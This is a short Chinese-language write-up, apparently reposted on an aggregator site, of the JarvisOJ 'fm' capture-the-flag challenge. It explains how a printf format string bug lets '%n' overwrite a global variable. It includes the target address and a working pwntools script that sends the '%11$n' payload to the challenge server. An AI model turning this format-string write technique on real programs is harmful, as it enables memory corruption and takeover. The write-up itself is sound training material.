Jarvisoj fm

Posted vangelis

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Jarvisoj fm相关的知识,希望对你有一定的参考价值。

格式化字符串的题目

技术分享图片

第12排是明显的漏洞

只要能将 x 改为 4 即可

而格式化字符串中 %n 可以写入数字

%n 是printf()是计算自己到%n位置已经输出的字符总数

所以只要输入长度为 4 的字符串 %n即可

 

以上面为栈顶(低地址),下面是栈底(高地址)

可以看到 print 的参数在 v5 buffer的上面

技术分享图片

也就是 v5 的可以视作为 printf ( v5 ) 的第 n 个参数(包括字符串的地址)

而现在我们需要知道 x 的地址和 n 即可构造出 payload

 x 地址 0804A02C

技术分享图片

附上脚本

from pwn import *

#io = process("./fm")
io = remote(pwn2.jarvisoj.com, 9895)

payload = p32(0x0804a02c) + "%11$n"

io.send(payload)
io.interactive()
io.close()

 

以上是关于Jarvisoj fm的主要内容,如果未能解决你的问题,请参考以下文章

如何使用Android片段管理器传递变量[重复]

重新创建活动后片段不可见

如何在 BackStack 上反转片段动画?

Android比较两个片段

如何删除使用片段管理器添加的所有片段?

JarvisOJ平台Web题目简单部分writeup